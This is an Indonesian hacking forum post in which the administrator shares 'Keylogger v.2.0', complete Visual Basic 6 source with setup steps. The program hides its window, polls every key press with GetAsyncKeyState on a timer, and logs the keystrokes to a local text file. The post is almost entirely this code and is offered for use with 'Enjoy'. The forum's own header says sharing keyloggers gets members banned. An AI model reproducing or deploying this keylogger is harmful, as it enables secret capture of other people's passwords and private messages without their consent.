SSH INDO COMMUNITY
Daftarkan Diri Anda Segera . Disini Tempatnya Diskusi SSH [Secure Shell] ,Tempat mencari teman Dan Persahabatn.Bebas Postingan.And jalin kekeluargaan.Usahakan Share yang berguna dan yang di Perlukan .

Peringatan
[-]Share Hal-Hal Tentang porno Banned permanent
[-]Share Keyloger Banned Permanent + IP
[-]Ayo join di sini sekarang SSH INDO bagi yang belum DAFTAR
[-]Bagi yang sudah daftar Langsung LOGIN


™️|SSH INDO COMMUNITY|™️


™SSH INDO COMMUNITY™
 
HomeGalleryFAQSearchMemberlistUsergroupsRegisterLog in
Log in
Username:
Password:
Log in automatically: 
:: I forgot my password
Your IP
IP

Rss Feeds
Yahoo! 
Google Reader 
MSN 
AOL 
NewsGator 
Netvibes 
Bloglines 

Share | 
 

 Tips & Trick Buat Keylogger v.2.0

Go down 
AuthorMessage
Admin
™Administrator™
™Administrator™
avatar

Jumlah posting Jumlah posting : 134
Points Points : 15167
Cendol Cendol : 2
Join date Join date : 2012-03-06
Age : 21
Lokasi Lokasi : Dki Jakarta

PostSubject: Tips & Trick Buat Keylogger v.2.0   Tue Jan 28, 2014 6:47 pm

===============
Product name : Keylogger Versi 2.0
Author : don-po
Thank to jakarta otm cyber team & All hacker indo.
Credit by don-po 2010
===============




- Buat timer
Name : timer1 / tmr1
interval : 100
-StartUpPosition : 3 'Windows Default
-Link Topic : form1
- klik kanan "view code"
masukkan :




Code:

Code:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Type TList
    kode As Integer
    bawah As String
    atas As String
End Type

Private List(1 To 255) As TList
Private IndexList As Integer

Private Sub AddToTable(kode As Integer, atas As String, bawah As String)
    IndexList = IndexList + 1
    List(IndexList).kode = kode
    List(IndexList).atas = atas
    List(IndexList).bawah = bawah
End Sub

Private Sub Build_Table()
    Dim i As Integer
    For i = 65 To 90
        AddToTable i, Chr(i), Chr(i + 32)
    Next i
    AddToTable 48, ")", "0"
    AddToTable 49, "!", "1"
    AddToTable 50, "@", "2"
    AddToTable 51, "#", "3"
    AddToTable 52, "$", "4"
    AddToTable 53, "%", "5"
    AddToTable 54, "^", "6"
    AddToTable 55, "&", "7"
    AddToTable 56, "*", "8"
    AddToTable 57, "(", "9"
    AddToTable &H60, "", "0"
    AddToTable &H61, "", "1"
    AddToTable &H62, "", "2"
    AddToTable &H63, "", "3"
    AddToTable &H64, "", "4"
    AddToTable &H65, "", "5"
    AddToTable &H66, "", "6"
    AddToTable &H67, "", "7"
    AddToTable &H68, "", "8"
    AddToTable &H69, "", "9"
    AddToTable Asc(" "), " ", " "
    
End Sub

Private Sub Form_Load()
    Me.Visible = False
    Build_Table
End Sub

Private Sub AddToFile(Isi As String)
    Dim Data As String
    Dim FileHandler As Long
    
    If (Dir(App.Path & "\mylog.txt") <> "") Then
        FileHandler = FreeFile
        Open App.Path & "\mylog.txt" For Input As #FileHandler
            Data = Input(LOF(FileHandler) - 2, #FileHandler)
        Close #FileHandler
    End If
    
    FileHandler = FreeFile
    Open App.Path & "\mylog.txt" For Output As #FileHandler
        Print #FileHandler, Data & Isi
    Close #FileHandler
End Sub

Private Sub Timer1_Timer()
    Dim i As Integer
    Dim a, b As Integer
    For i = LBound(List) To UBound(List)
        a = GetAsyncKeyState(List(i).kode)
        b = GetAsyncKeyState(16)
        If (a = -32767) Then
            If (b = -32768) Then
                AddToFile List(i).atas
            Else
                AddToFile List(i).bawah
            End If
            Exit For
        End If
    Next
End Sub









Enjoy,,,;) and +1
Back to top Go down
View user profile http://jakarta-ost.forumid.net/
 
Tips & Trick Buat Keylogger v.2.0
Back to top 
Page 1 of 1
 Similar topics
-
» Tips Merawat Aquascape
» Contoh Desain Kolam Ikan Minimalis dan Tips Pembuatannya
» jual diy protein skimmer
» Tips membuat aquascape
» Paranoia when requesting votes, and tips for getting votes :)

Permissions in this forum:You cannot reply to topics in this forum
SSH INDO COMMUNITY :: ALL ABOUT PROGRAMMING :: ALL ABOUT PROGRAMMING :: Visual Basic-
Jump to: